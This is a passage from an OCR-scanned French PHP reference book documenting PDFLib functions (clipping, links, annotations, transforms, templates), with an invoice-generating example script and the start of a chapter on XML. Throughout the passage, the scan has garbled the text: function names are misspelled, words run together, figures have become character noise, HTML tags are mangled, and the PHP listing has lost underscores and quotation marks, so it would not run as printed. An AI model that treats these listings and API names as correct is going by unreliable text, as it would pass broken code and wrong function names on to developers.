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II est assez simple de ne representer qu'une partie de l'image, ou de lui donner des contours 
ayant une forme un peu particuliere. C'est ce que permet la fonction pdf_ciip ( ) . 



pdf_clip() 



Permet de decouper une partie de l'image definie precedemment par un trace. 
Syntaxe boolean pdf_clip(int $objetPDF) 
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$objetPDF 
retour 



Identifiant tel que retourne par pdf _new ( 
TRUE. 



<?php 



?> 



// (...) Initialisation 

$img = pdf_open_image_file($pdf , "png", "logo.png", NULL, 0) ; 
pdf_circle($pdf, 50, 50, 50); 
pdf_clip($pdf); 

pdf_place_image($pdf, $img, 0, 0, 1); 
pdf_close_image($pdf, $img); 

// (...) Cloture 




Figure 14.10 : 

Utilisation de clip 
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14.9. Ajouter des liens et des annotations 

Liens PDF 

II vous est possible d'inserer un lien vers une autre page du document... 



pdf_add_locallink() 

Ajoute un lien vers une autre page du meme fichier PDF 
Syntaxe 



$objetPDF 
$xl 

$yl 

$x2 

$y2 

$noPage 

$zoom 



boolean pdf_add_local 1 ink (resource $objetPDF, double $xl, 
double $yl, double $x2, double $y2, int $noPage, string $zoom) 

Identifiant tel que retourne par pdf _new ( ) . 

Abscisse du point inferieur gauche. 

Ordonnee du point inferieur gauche. 

Abscisse du point superieur droit. 

Ordonnee du point superieur droit. 

Page de destination. 

Au choix : 

"retain" pour conserver le facteur de zoom actuel a l'ouverture du 

document lie. 

" f i tpage" pour adapter le zoom de fagon a ce que le document lie tienne 

dans la fenetre. 



1166 



Ajouter des liens et des annotations 



"f i twi th" pour adapter le zoom de f agon a ce que la largeur du document 

lie tienne dans la fenetre. 

"fitheighf pour adapter le zoom de facon a ce que la hauteur du 

document lie tienne dans la fenetre. 

"f itbbox" pour adapter le zoom de facon a ce que le contenu du 

document (done sans tenir compte des marges) tienne dans la fenetre. 

retour TRUE. 

... ou vers celle d'un autre document. 



pdf_add_pdflink() 

Ajoute un lien vers un fichier PDF. 

Syntaxe boolean pdf_add_pdfl ink(int $objetPDF, double $xl, double $yl, 

double $x2, double $y2, string $nomFichier, int $noPage, string 
$zoom) 

$objetPDF Identifianttelqueretourneparpdf_new( ) . 

$x 1 Abscisse du point inferieur gauche. 

$y 1 Ordonnee du point inferieur gauche . 

$x2 Abscisse du point superieur droit. 

$y2 Ordonnee du point superieur droit. 

$nomFi chi er Nom du fichier vers lequel faire un lien. 

$noPage Numero de la page a ouvrir. 

$zoom Au choix : 

"retain" pour conserver le facteur de zoom actuel a l'ouverture du 

document lie. 

"f itpage" pour adapter le zoom de fagon a ce que le document lie tienne 

dans la fenetre. 

"f i twi th" pour adapter le zoom de f agon a ce que la largeur du document 

lie tienne dans la fenetre. 

"fitheighf pour adapter le zoom de fac,on a ce que la hauteur du 

document lie tienne dans la fenetre. 

"f itbbox" pour adapter le zoom de facon a ce que le contenu du 

document (done sans tenir compte des marges) tienne dans la fenetre. 

retour TRUE. 
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Liens Internet 

pdf_add_weblink () 

Ajoute un lien vers une adresse Internet. 

Syntaxe boolean pdf_add_webl ink(resource $objetPDF, double $xl, double 

$yl, double $x2, double $y2, string $url) 

$objetPDF Identifianttelqueretourneparpdf_new( ) . 

$xl Abscisse du point inferieur gauche. 

$y 1 Ordonnee du point inferieur gauche . 

$x2 Abscisse du point superieur droit. 

$y2 Ordonnee du point superieur droit. 

$url Adresse du site web de destination. 

retour TRUE. 

Liens vers un fichier 



pdf_add_launchlink() 



a> 




•a 


LL. 


c 


a 


o 


Q. 








t/i 


C3 




05 


E 




<D 


U 


E 


CO 


s 


_l 


u 




o 


^ 


■o 







Ajoute un lien vers un fichier. 

Syntaxe int pdf_add_launchl ink (resource $objetPDF, double $xl, double 

$yl, double $x2, double $y2, string $nomFichier) ; 

$objetPDF Identifianttelqueretourneparpdf_new( ) . 

$ x 1 Abscisse du point inferieur gauche . 

$y 1 Ordonnee du point inferieur gauche . 

$x2 Abscisse du point superieur droit. 

$y2 Ordonnee du point superieur droit. 

retour TRUE. 

Annotations 



pdf_add_note() 

Ajoute une annotation pour la page courante. 

Syntaxe boolean pdf_add_note (resource $objetPDF, double $xl, double 

$yl, double $x2, double $y2, string $contenu, string $titre, 
string $icone, boolean $ouvrir) 
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$objetPDF 
$xl 

$yi 

$x2 

$y2 

$contenu 

$titre 

$icone 

$ouvrir 
retour 



Identifiant tel que retourne par pdf _new ( ) . 

Abscisse du point inferieur gauche de la zone de deploiement de 
l'annotation. 

Ordonnee du point inferieur gauche de la zone de deploiement de 
l'annotation. 

Abscisse du point superieur droit de la zone de deploiement de 
l'annotation. 

Ordonnee du point superieur droit de la zone de deploiement de 
l'annotation. 

Texte de l'annotation. 

Titre de l'annotation. 

Icone a afficher, au choix : "comment", "insert", "note", "paragraph", 
"newparagraph", "key" ou "help". 

TRUE si le commentaire doit etre visible par defaut, FALSE sinon. 

TRUE. 



REMARQUE 



Icone 

Sous Windows XP et Acrobat Reader 5.0, Vicone afftchee est toujours note. II 
semblerait que ce soit le cas pour toutes les versions 3 d 'Acrobat Reader et au moins 
les versions 4 sous UNIX. 

Selon la documentation off icielle, cela await dufonctionner sous I'environnement de 
test... Mais en pratique, cela ne fonctionne pas. 



Modifier l'apparence des contours des liens et annotations 

II est possible de definir l'apparence des contours des liens et annotations grace aux fonctions 
suivantes : 



pfd_set_border_style () 

Definit 1'aspect des bordures (largeur du trait, pointilles ou non) des liens et des annotations. 
Syntaxe 
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$objetPDF 
$style 



3>epansseur 
retour 



boolean pdf_set_border_style (resource $objetPDF, string 
$style, double $epaisseur) 

Identifiant tel que retourne par pdf _new ( ) . 

Au choix : 

"solid" pour un trait continu. 

"dashed" pour des pointilles. 

Epaisseur du trait. 

TRUE. 



La nature des pointilles peut evidemment etre precisee. 
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pdf_set_border_dash () 



Permet de definir le type des pointilles appliques aux contours des liens et des annotations 
Syntaxe 



$objetPDF 
$trace 
$nonTrace 
retour 



boolean pdf_set_border_dash (resource $objetPDF, double $trace, 
double $nonTrace) 

Identifiant tel que retourne par pdf _new ( ) . 

Nombre de points a tracer avant de suspendre le trace. 

Nombre de points a ne pas tracer avant de reprendre le trace. 

TRUE. 



pdf_set_border_color () 



Definit la couleur des contours des liens et annotations 
Syntaxe 
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$objetPDF 

$rouge 

$vert 

$bleu 

retour 



boolean pdf_set_border_col or (resource $objetPDF, double 
$rouge, $vert, $bleu) 

Identifiant tel que retourne par pdf _new ( ) . 

Composante rouge de la couleur du contour (entre et 1). 

Composante verte de la couleur du contour (entre et 1). 

Composante bleue de la couleur du contour (entre et 1). 

TRUE. 



14.10. Aj outer des fichiers attaches et apercus 
(thumbnails) 



pdf_add_thumbnail () 



Ajoute une petite image (thumbnail) pour la page courante. 

Syntaxe boolean pdf_add_thumbnail (resource $objetPDF, int $idlmage) 

$objetPDF Identifiant tel que retourne par pdf _new( ) . 



$idlmage 
retour 



Identifiant d'image tel que retourne par pdf_open_image_file ( ) ou 

pdf _open_memory_image ( ) . 



TRUE. 
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pdf_attach_file() 



Ajoute un fichier 
Syntaxe 

$objetPDF 
$xl 

$yi 

$x2 

$y2 

$nomFichier 

$description 

$auteur 

$mimetype 

$icone 



retour 



attache pour la page courante. 

boolean pdf_attach_file(int $objetPDF, double $xl, double $yl, 
double $x2, double $y2, string $nomFichier, string 
$description, string $auteur, string $mimetype, string $icone) 

Identifiant tel que retourne par pdf _new ( ) . 

Abscisse du point inferieur gauche. 

Ordonnee du point inferieur gauche. 

Abscisse du point superieur droit. 

Ordonnee du point superieur droit. 

Nom du fichier a attacher. 

Description du fichier attache. 

Auteur du fichier attache. 

Type MIME du fichier (ex: "text/plain"). 

Icone associee, au choix : 
"graph" graphique. 
"paperclip" trombone. 
"pushpin" punaise. 
"tag" etiquette. 

TRUE. 



14. 1 1. Modifier le systeme de coordonnees 



pdf_translate() 

Redefinit l'origine du systeme 
Syntaxe 
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$objetPDF 

$x 

$y 

retour 



boolean pdf_translate(resource $objetPDF, double $x, double 

$y) 

Identifiant tel que retourne par pdf _new ( ) . 
Abscisse du nouveau centre. 
Ordonnee du nouveau centre. 

TRUE. 
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pdf_rotate() 

Permet de tourner le systeme de coordonnees. 



Syntaxe 

$objetPDF 
$angle 

retour 



boolean pdf_rotate (resource $objetPDF, double $angle) 

Identifiant tel que retourne par pdf _new ( ) . 

Angle de rotation (en degres) par rapport au systeme de coordonnees 
actuel. 

TRUE. 



pdf_skew() 



Modifie les axes du systeme de coordonnees (permet d'avoir un repere non orthonorme). 
Syntaxe 
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$objetPDF 
$anglel 

$angle2 

retour 

pdf_scale() 

Redefinit l'echelle. 
Syntaxe 

$objetPDF 
$echelleX 
$echelleY 
retour 



boolean pdf_skew(resource $objetPDF, double anglel, double 
angle2) 

Identifiant tel que retourne par pdf _new ( ) . 

Angle de rotation (en degres) de l'axe des abscisses par rapport au systeme 
de coordonnees actuel. 

Angle de rotation (en degres) de l'axe des ordonnees par rapport au 
systeme de coordonnees actuel. 

TRUE. 



boolean pdf_scale(resource $objetPDF, double $echelleX, double 
$echelleY) 

Identifiant tel que retourne par pdf _new ( ) . 

Coefficient a appliquer sur l'echelle des abscisses. 

Coefficient a appliquer sur l'echelle des ordonnees. 

TRUE. 



Si par hasard vous ne trouviez pas votre bonheur avec les fonctions precedentes, vous pouvez 
encore preciser votre propre matrice de transformation (i.e. combiner les appels precedents en 
un appel unique). 
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pdf_setMatrix() 

Remplace la matrice de transformation courante par une autre. 



Syntaxe boolean pdf_setMatrix (resource $objetPDF, double $mll, double 

$m21, double $ml2, double $m22, double $ml3, double $m23) 

$objetPDF Identifianttelqueretourneparpdf_new( ) . 

$mll, $m21, $ml2, 

$m22, $ml3, $m23 Les elements de la matrice de transformation (3x2) [ [$mll, $ml2, 
$ml3] [$m21, $m22, $m23]]. 

retour TRUE. 



pdf_concat() 

Concatene une matrice a la matrice courante de transformation. 



Syntaxe boolean pdf_concat(resource SobjetPDF, double $mll, double 

$m21, double $ml2, double $m22, double $ml3, double $m23) 

$objetPDF Identifianttelqueretourneparpdf_new( ) . 

$mll, $m21, $ml2, 

$m22, $ml3, $m23 Les elements de la matrice de transformation (3x2) [ [$mll, $ml2, 
$ml3] [$m21, $m22, $m23]]. 

retour TRUE. 



14.12. Lire, sauvegarder et restaurer les parametres 
courants 
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pdf_get_value() 



Recupere la valeur d'un parametre (certains peuvent etre modifies par pdf_set_value ( ) ). 

Syntaxe double pdf_get_value(int $objetPDF, string $cle, double 

$valeur) 

$objetPDF Identifianttelqueretourneparpdf_new( ) . 

$ c 1 e Nom de la valeur a recuperer. 

$val eur Nouvelle valeur. Ce parametre est optionnel avec PHP4. 

retour La valeur recherchee. 

Voici un tableau de differentes valeurs pouvant etre obtenues : 
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Tableau 14.4 : Valeurs pouvant etre obtenues par pdf_get_value() 
Cle Description 

ma j or Recupere le numero principal de version de PDFLib. 

minor Recupere le numero secondaire de version de PDFLib. 

revision Recupere le numero de revision de PDFLib. 

version Recupere le numero de version complet sous la forme 

ma j or. minor, revision suivi eventuellement de chaines telles que 

beta, re... 
scope 



pagewidth 



f ontsize 

capheight 

ascender 

descender 



leading 



textrise 



text rendering 



horizscaling 



charspacing 



wordspacing 



textx 
texty 
currentx 
currenty 



Recupere le nom de I'etendue courante. 



Largeur de la page courante en points. 



pageheight Hauteur de la page courante en points. 

cropbox Change les tailles des boites de la page courante. Le nom de la cle doit 

BieedBox etre suivi d'un slash / puis de lix (abscisse du point inferieur gauche), 

ArtBox liy (ordonnee du point inferieur gauche), urx (abscisse du point 

TrimBox superieur gauche), ury (ordonnee du point superieur droit). Par exemple 

cropbox/ lix permettra de modifier I'abscisse inferieure gauche de la 

Cropbox. 

font Retourne I'identifiant de la police d'ecriture qui doit avoir ete definie par 

pdf_setf ont ( ) . 



Retourne la taille de la police d'ecriture precedemment definie par 

pdf_setf ont ( ) . 

Retourne les valeurs des tailles pour I'affichage de caracteres en fraction 

de taille de police. 

capheight est la taille d'une majuscule. 

Ascender est la taille d'une lettre haute telle que I, f, k, t... 

capheight est juste la taille de la partie basse d'une lettre descendante 

comme j, p, q... 

Apres ce tableau se trouve une image expliquant ces trois valeurs. 

Modifie I'espace entre deux lignes de base de deux lignes consecutives. 

Modifie I'espace entre la position desiree du texte et la ligne de base. 



pour du texte plein. 

1 pour n'avoir que le contour du texte. 

2 pour du texte plein et le contour. 

3 pour ne pas afficher le texte mais I'ajouter au chemin. 



Pourcentage pour elargir ou retrecir le texte. 



Espace entre deux caracteres a ajouter a I'espacement par defaut. 



Espace a ajouter a la taille du caractere d'espacement. 



Retourne I'abscisse courante du pointeur de texte. 
Retourne I'ordonnee courante du pointeur de texte. 
L'abscisse du point graphique courant. 
L'ordonnee du point graphique courant. 
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Cle 



Description 



imagewidth Retourne la largeur et la hauteur d'une image en pixel. II taut passer en 

imageheight parametre I'identifiant de I'image. 

resx Retourne les resolutions horizontales et verticales d'une image. II faut 

resy passer en parametre I'identifiant de I'image. 

Si la valeur est positive, la valeur retournee est exprimee en points par 

pouce ; sinon la valeur n'a pas de sens, mais permet de determiner le 

rapport entre la largeur et la hauteur d'un point. 

Si la valeur est nulle, alors I'information sur la resolution n'est pas 

accessible. 



fg5 



Figure 14.11 : 

capheight, ascender et 
descender en images 



pdf_set_parameter () 

Permet de definir un parametre. 

Syntaxe void pdf_set_parameter(resource $objetPDF, string $cle, string 

$valeur) 

$objetPDF Identifiant tel que retourne par pdf_new ( ) . 

$ c 1 e Nom du parametre. 

$valeur Valeur du parametre. 

Voici un tableau des differents parametres attribuables : 

Tableau 14.5 : Parametres attribuables par pdf_set_parameter() 



Cle 



Description 



Defaut 



compatibility 



Prefix 



Permet de definir la compatibilite. Elle peut etre 
definie en 1 .3, 1 .4 ou 1 .5 pour Acrobat 3, Acrobat 4 
ou Acrobat 5. Ce changement de parametre doit etre 
effectue avant tout appel a pdf _open_* ( ) . 

Prefixe utilise dans un fichier UPR. 



1.3 
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Resourcef ile 



Nom du fichier de configuration UPR. 



Serial 



Definit le numero de serie de la bibliotheque 
PDFLib ; il ne peut etre modifie qu'une seule fois 
avant le premier appel a pdf_begin_page ( ) . 



Warning 



Permet ou supprime les messages d'alerte. Peut etre "true" 
mis a "true" ou "false". (Par defaut, les 
messages sont apparents.) 
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Description 



Defaut 



FontAFM 
FontPFM 
FontOutline 
Encoding 

f ontwarning 



Les fichiers de ressources tels qu'ils doivent 
apparaitre dans un fichier UPR. Pour en ajouter 
plusieurs, il suffit d'appeler plusieurs fois la fonction. 

SI cette valeur est mise a "false" alors, 
pdf_f indf ont ( ) renverra au lieu d'un 
message d'erreur. 



"true" 



underline 
over line 
strikeout 



Permet de definir I'aspect d'une chaine de caracteres "false" 
("true" OU "false") : 

underline pour le soulignement. 
Over line pour le surlignage. 
strikeout pour du texte barre. 



native-unicode 



Si la valeur est mise a 
natif est permis. 



true" alors le texte Unicode "false" 



Fillrule 



Image -warning 



Change la regie de remplissage courante. Cette regie "winding" 
est utilisee par les visionneurs de fichier PDF, mais 
conduisent au meme resultat. Les valeurs permises 

SOnt "winding" OU "evendd". 

Ce parametre peut servir a savoir pourquoi une image "false" 
n'a pas pu etre ouverte correctement. Si ce 
parametre est mis a "true" alors un message 
d'erreur est genere, sinon aucun message d'erreur 
n'est genere. 



Controle de I'importation des attributs graphiques 

avec les pages et mises en page. 

"true", les attributs graphiques seront importes. 

"false", les attributs graphiques ne seront pas 

importes. 



"true" 



openaction Definit Taction d'ouverture ou encore le "retain" 

grossissement de la premiere page du document. 
Les differentes valeurs possibles sont : 
"retain" pour conserver la valeur actuelle. 
"f itpage" pour que le zoom fasse en sorte que la 
page tienne a I'ecran. 

"f itwidth" pour que la largeur tienne a I'ecran. 
"f itheight" pour que la hauteur tienne a I'ecran. 
"f itbbox" pour que le contenu de la page (sans 
tenir compte des bords) tienne a I'ecran. 
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Cle 



Description 



Defaut 



openmode 



Definit I'apparence quand le document est ouvert. "bookmarks" si 
"none", ni les signets ni les imagettes ne sont le document 

visibles. contient des 

"bookmarks", les signets s'afficheront a signets. 

I'ouverture du document. "none" sinon. 

"thumbnails", les imagettes s'afficheront. 
"fullscreen", le document s'ouvrira surtout 
I'ecran si celui-ci n'est pas dans un navigateur 
Internet. 

Definit le zoom pour I'affichage des signets. "retain" 

Les differentes valeurs possibles sont : 

"retain" pour conserver la valeur actuelle. 

"f itpage" pour que le zoom fasse en sorte que la 

page tienne a I'ecran. 

"f itwidth" pour que la largeur tienne a I'ecran. 

"f itheight" pour que la hauteur tienne a I'ecran. 

"f itbbox" pour que le contenu de la page (sans 

tenir compte des bords) tienne a I'ecran. 



bookmark-dest 



transition Definit la transition d'une page a une autre. Les 

differentes valeurs possibles sont : 

"split", "blinds", "box", "wipe", 
"dissolve", "glitter", "replace". 



"replace" 



Sauvegarder et restaurer 

II est egalement possible de sauvegarder renvironnement courant pour le reutiliser plus tard. 
Les axes de coordonnees, couleurs, epaisseurs de traits peuvent ainsi etre changes apres avoir 
sauvegarde renvironnement, pour ensuite recharger les memes parametres de depart. 



pdf_save() 
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Enregistre l'environnement courant. 

Syntaxe boolean pdf_save (resource $objetPDF) 

$ob j et PDF Identifiant tel que retourne par pdf _new ( 

retour TRUE. 
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pdf_restore() 



Redefinit l'environnement graphique avec les informations stockees lors de l'appel a 

pdf_save ( ) . 

Syntaxe boolean pdf_restore(resource $objetPDF) 

$objetPDF Identifianttelqueretourneparpdf_new( ) . 

retour TRUE. 



14.13. Creer un modele 



a> 




•a 


Li- 


c 


es 


o 


a. 








vi 


cs 




05 


c 




<D 


u 


E 


CO 


s 


_i 


u 




o 


^ 


■o 







II est possible de creer un modele de page qui servira de base pour la creation de pages. 
L'avantage principal reside dans le fait qu'une modification apportee a ce modele s'appliquera 
a toutes les pages y faisant reference. 

Apres avoir cree un modele, il suffit, pour l'utiliser,il de le considerer comme une image. Ainsi, 
pour l'ajouter a la page, vous n'aurez qu'a appeler la fonction pdf_piace_image ( ) . 

Un modele de page doit etre defini en dehors de toute section page (pdf_begin_page ( ) 
...pdf _end_page ( ) ). Un modele de page peut faire appel a un autre modele de page, mais pas 
a lui-meme. 

Toutes les fonctions agissant sur le texte, les graphiques et les couleurs peuvent etre utilisees, 
exception faite des fonctions d'ouverture et de fermeture d'images et des elements hypertextes. 



1 . Introduire des images 

\SV II n 'est pas possible d'ouvrir des images dans les modeles, mais il est possible de les 

astuce placer. II suffit done de les ouvrir avant de definir le modele. 



pdf_begin_template () 

Debute la description d'un modele. 



Syntaxe int pdf_begin_templ ate (resource $objetPDF, double $largeur, 

double $hauteur) 

$objetPDF Identifianttelqueretourneparpdf_new( ) . 

$largeur Largeur du modele. 

$hauteur Hauteur du modele. 

retour Un identifiant de modele. 
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pdf_end_template () 

Termine la description d'un modele. 

Syntaxe boolean pdf_end_template(resource $objetPDF) 

$objetPDF Identifianttelqueretourneparpdf_new( ) . 

retour TRUE. 

L'exemple qui suit utilise ces deux fonctions. 

Un exemple de script 

L'exemple que nous avons choisi de detailler est un fax de facture avec une page de garde. Les 
renseignements necessaires a la facture sont recuperet depuis un formulaire HTML. 

Voici le script HTML du formulaire que nous ne detaillerons pas (il ne s'agit ni plus ni mois que 
d'une page HTML) : 

Listing 14.4 : facture.html 

<html> 
<headxt i tl e>Facturex/ti tl ex/head> 
<body> 
<centerxhl> 

<font color="#0000FF">Creation de facture en fichier PDF</font> 
</hlx/center> 

<form method="post" action="facture.php"> 
<h2>Informations sur le destinataire</h2> 
<table al ign="center"> 
<tr> 

<td>Nom:</td> 

<tdxinput type="text" name="nom" /x/td> 
</tr> 
<tr> 

<td>Prenom:</td> 

<tdxinput type="text" name="prenom" /></td> 
</tr> 
<tr> 
<td>Numero de fax:</td> 
<tdxinput type="text" name="fax" /x/td> 
</tr> 
</table> 

<h2>Informations sur la facture</h2> 
<table al ign="center"> 
<tr> 
<td>Numero de facture:</td> 
<tdxinput type="text" name="no" /x/td> 
</tr> 
<tr> 
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<td>Montant:</td> 

<tdxinput type="text" name="montant" /></td> 
</tr> 
<tr> 

<td>Prestati on :</td> 

<tdxtextarea name="prestation"></textareax/td> 
</tr> 
</table> 

<centerxinput type=" submit" /x/center> 
</form> 
</body> 
</html> 
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3 Facture» - Microsoft Internet Explorer 



Fichier Edition Affichage Favoris Outils ? 

Q Precedence "J Q \£\ --J] C) Rechercher VV Favoris %J[* Media &fy l£^- 

v| Q OK Liens " 



Adresse ^| http://localho5t/BjblePHP5cript5/i:hapi3/facl:ure.hl:ml 



Creation de faeture en fichier PDF 

Informations sur le dcstinatairc 



Norn: 
Prenorn: 
Numero de fax 

s sur la t'actu 

Numero de faeture: 
Montant: 


Sassine 




Emma 








02 03 0-105 06 

re 




234 




106.53 




Prestation: 


la periocle: 
iuillet-aout 2002 


v 








Sournettre larequete 





Figure 14.12 : Exemple de formulaire rempli 

La page d'appel facture.php traite toute la partie creant le fichier PDF. 



Listing 14.5 : facture.php 

<?php 

// Largeur de la page 

$largeur=495; 

// Hauteur de la page 

$hauteur=742; 

// Creation d'un pdf 
$pdf = pdf_new() ; 
// Allocation de memoire 
pdf open file($pdf, "") ; 
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// Ouverture de 1' image de logo 

$logopdf = pdf_open_image_file($pdf , "png", "logo.png", "", 0); 

// Definition d'un nouveau modele de tai lie inferieure a la page 
$miseEnPage = pdf_begin_template($pdf , $largeur-100, $hauteur-100) ; 

// Choi sir la police Courier de taille 15 

$font = pdf_findfont($pdf, "Courier", "host", FALSE); 

if ($font) { 

pdf_setfont($pdf , $font, 15); 
} else { 

die ("Police d'ecriture introuvable") ; 

} 

// Demande d'afficher que le contour du texte 

pdf_set_value($pdf , "textrendering", 1); 

// Affichage de "Bible PHP" 

pdf_show_xy($pdf, "Bible PHP" , 175, $hauteur-125) ; 

// Choi sir la police Courier de taille 8 
pdf_setfont($pdf, $font, 8); 
// Demande d'afficher du texte plein 
pdf_set_value($pdf , "textrendering", 0); 

// Affichage de l'adresse de 1'expediteur dans un rectangle 

// en justifiant le texte 

pdf_show_boxed($pdf , 

"Bible PHP\r\nChemin des acacias\r\n20876 Germantown\r\n" 
"Tel: 02 00 00 00 00", 0, $hauteur-100-100, 100, 100, 
"full justify"); 

// Placement du logo sur le modele 

pdf_place_image($pdf, $logopdf, $largeur-100-50, $hauteur-100-50, 0.5); 

//Changement de la taille du texte a 8 points 
pdf_setfont($pdf, $font, 8); 

// Affiche un texte centre en bas de page 
pdf_show_boxed($pdf, "Copyright. SARL Capital Euros", 0, 0, 
$largeur-100, 15, "center"); 

//Fin de la definition du modele 
pdf_end_templ ate ($pdf ) ; 

// Fermeture de 1' image ouverte avant la declaration du modele 
pdf close image($pdf, $logopdf); 



// Creer une nouvelle page: la page de garde 
pdf_begin_page($pdf , $largeur, $hauteur) ; 
// Placement du modele sur la page 
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pdf_place_image($pdf , $miseEnPage, 50, 50, 1); 

// Choi sir la police Courier de tail 1 e 10 

$font = pdf_findfont($pdf, "Courier", "host", FALSE); 

if ($font) { 

pdf_setfont($pdf, $font, 10); 
} else { 

die(" Pol ice d'ecriture introuvable") ; 

} 

// Demande d'afficher du texte plein 

pdf_set_value($pdf , "textrendering", 0); 

// Affichage du nom et du numero de fax du destinataire 

pdf_show_boxed($pdf, "Pour: ".$_P0ST["nom"] ." " .$_P0ST["prenom"] . 

"\r\nFax: " .$_P0ST["fax"] , $largeur-200, $hauteur-300, 

150, 100, "right", ""); 

// Changement de la tai lie du texte a 14 points 

pdf_setfont($pdf, $font, 14); 

// Demande d'afficher du texte plein 

pdf set value($pdf, "textrendering", 0); 
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// Texte a afficher 

$texte = "Monsieur, \r\n\r\n" . 

Vous trouverez dans ce fac-simile, une facture comme". 
nous avions convenu. Le montant de cette facture est", 
hors taxes et". 
payable a 1 'ordre de V'Monsieur Bible PHP\".\r\n". 

Nous venons de modifier notre systeme de gestion de factures". 
et nous serons heureux de vous envoyer cette facture par ". 
courrier electronique dans un format". 

lisible par tous, le PDF.\r\n\r\nRecevez Monsieur, mes meilleures". 
salutations. \r\n\r\n ". 

Le president."; 
// Affichage du texte precedent sur la page 
pdf_show_boxed($pdf, $texte , 50, 100, $largeur-100, 400, "justify", ""); 

// Termine la page 
pdf end page($pdf) ; 



// Creer une nouvelle page: la facture 
pdf_begin_page($pdf , $largeur, $hauteur) ; 

// Placement du model e sur la page 
pdf_place_image($pdf , $miseEnPage, 50, 50, 1); 

// Choi sir la police Courier de tail 1 e 10 

$font = pdf_findfont($pdf, "Courier", "host", FALSE); 

if ($font) { 

pdf_setfont($pdf, $font, 10); 
} else { 

die(" Pol ice d'ecriture introuvable"); 
} 
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// Demande d'afficher du texte plein 

pdf_set_value($pdf , "textrendering", 0); 

// Affichage du nom et du numero de fax du destinataire 

pdf_show_boxed($pdf, "Pour: " .$_P0ST["nom"] . " " .$_POST["prenom"] . 

"\r\nFax: " .$_P0ST["fax"] , $largeur-200, $hauteur-300, 

150, 100, "right", ""); 
//Changement de la taille du texte a 35 points 
pdf_setfont($pdf , $font, 35); 

// Affichage du titre "Facture" 

pdf_show_xy($pdf , "Facture" , 150, $hauteur-100-50) ; 

//Changement de la taille du texte a 15 points 
pdf_setfont($pdf , $font, 15); 

// Texte a afficher 

$texte="Facture No: ".$_P0ST["no"] ."\r\nMontant: ".$_P0ST["montant"] . 

" Euros H.T.\r\n". 

"Objet de prestation: ".stripslashes($_P0ST["prestation"]) ."\r\n". 

"TVA non applicable, article 293B du CGI"; 

// Affiche le texte aligne a gauche 

pdf_show_boxed($pdf, $texte, 50, 100, $largeur-100, 300, "left", ""); 

// Termine la page 
pdf_end_page($pdf) ; 

// Ferme le document PDF 

pdf_close($pdf) ; 

// Recupere les donnees du document 

$donnees = pdf_get_buffer($pdf) ; 

// Efface 1 'objet PDF de la memoire et les ressources associees 

pdf_delete($pdf); 

/* Cette partie concerne 1 'affichage */ 
/* du document, les donnees sont */ 
/* pretes, il suffit de les envoyer. */ 

/***********************************■*■*/ 

header("Content-type: appl ication/pdf") ; 
header("Content-Length: " .strlen($donnees)) ; 
header("Content-Disposition: inline; filename=test.pdf") ; 
echo $donnees; 
?> 

Ce script cree un fichier PDF de deux pages ; la premiere est la page de garde d'un fax : 
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firtvr Fritht Affk^p FitjaK art; 



a a :■ ■ - « $ ^>: ra n < ► n ♦ ♦ n®*- -a-si a™ • » o bh j °; 




Figure 14.13 : Page de garde 

La seconde page est la page de facture 



a> 




•a 


LL. 




a 


o 


Q. 










C3 




05 


C 




<D 


U 


E 


CO 


s 


_l 


u 




o 


^ 1 


■a 







o □ 13 rj - <? - K! 




Figure 14.14 : Page de facture 
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Introduction 



15.1. Introduction 
Presentation du langage XML 

Ces dernieres annees, vous avez certainement beaucoup entendu parler du langage XML. La 
plupart en disent le plus grand bien, et il est de plus en plus utilise dans l'industrie. Toutefois, 
beaucoup n'ont encore qu'une vague idee de ce qu'il est, tandis que d'autres pensent (a tort) 
qu'il s'agit d'une evolution du langage HTML. 

En fait, XMLdefinit avant tout des regies tres simples de description d'informations 
(generalement stockees dans des fichiers). En quelques mots, respecter le standard XML, c'est 
stocker l'information sous forme de balises et d'attributs (un peu comme avec HTML). 

En revanche, en aucun cas XML ne s'attache a decrire la facon dont les informations seront 
presentees. II se peut d'ailleurs que les informations ne soient jamais affichees ou imprimees, 
mais seulement stockees et echangees entre serveurs et applications. Le traitement de 
l'information (y compris affichage ou impression) est laisse a la charge du parseur (ou 
analyseur) XML (logiciel pouvant etre ecrit en n'importe quel langage, y compris PHP, et qui 
pourra eventuellement s'appuyer sur le langage XSL). 

Contrairement au langage HTML, XML ne definit ni balises ni attributs. C'est a l'utilisateur, 
selon son corps de metier et ses besoins, de les definir. 

La bibliotheque libXml a fait sont entree avec PHP5. Elle remplace avantageusement les autres 
precedemment utilisees tout en gardant les memes signatures de fonctions. Ainsi une 
application utilisant XML ecrite pour PHP4 doit continuer a fonctionner sans probleme en 
passant a PHP5 meme si derriere il ne se passe pas exactement la meme chose. 

L'avantage de libXML est qu'elle supporte l'analyse SAX et DOM, de plus il se trouve que 
cette bibliotheque est tres performante. 



>?h Comparatif 

%$/ A litre d'information void une adresse oil vous pouvez comparer les differents 

INTERNET analyseurs syntaxiques, vous verrez que libXml est tres bien placee. 
http:llxmlbench.sourceforge.net/index.php?page=results.php 



Specifications 

Les langages XML et XSL sont decrits par le W3C. 



REMARQUE 



Le format XML 

Un fichier bien forme 

Un fichier XML : 

Commence par un en-tete <?xml version="i.O" encoding="UTF-8"?> precisant qu'il 
s'agit d'un document XML respectant la norme de la version 1.0, et utilisant des caracteres 
codes en "TJTF-8" (il est possible de preciser un autre encodage). 
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Ne possede qu'une balise racine (autrement dit, l'ensemble des balises du document XML, 
hormis l'en-tete doit etre compris entre <baliseracine> et </baliseracine>). Peu 
importe le nom de cette balise. 

Toute balise ouverte doit etre refermee (si il n'y a pas de balise ou de texte entre les balises 
ouvrante et fermante, <balisex/balise> peut etre remplace par <balise />). 

Les noms des balises doivent commencer par une lettre ou un underscore ('_'). Les 
caracteres suivants peuvent etre des chiffres, des lettres, un underscore, un point ou un tiret. 

Un nom de balise ne peut pas commencer par "xml". 

Les balises ne peuvent se chevaucher (il ne peut y avoir <baliselxbalise2> 

</baliselx/balise2>). 

Les noms des balises sont generalement en minuscules. 
Un document respectant ces regies est dit bien forme. 

Unfichiervalide(DTD) 

Bien qu'il suffise qu'un document soit bien forme pour qu'il s'agisse d'un document XML, ce ne 
sont generalement pas des conditions suffisantes pour assurer son bon traitement par un 
analyseur. 

En effet, selon le corps de metier, nous nous attendrons a avoir un document XML contenant 
telle ou telle balise. Les contraintes seront certainement meme plus fortes, puisqu'une balise 
donnee devra contenir un certain type d'attributs et de balises. 

Pour assurer qu'un document respecte ces contraintes supplementaires, ces dernieres seront 
exprimees sous la forme d'un document appele DTD, dont voici un exemple : 

<?xml version="1.0" encoding="UTF-8" ?> 

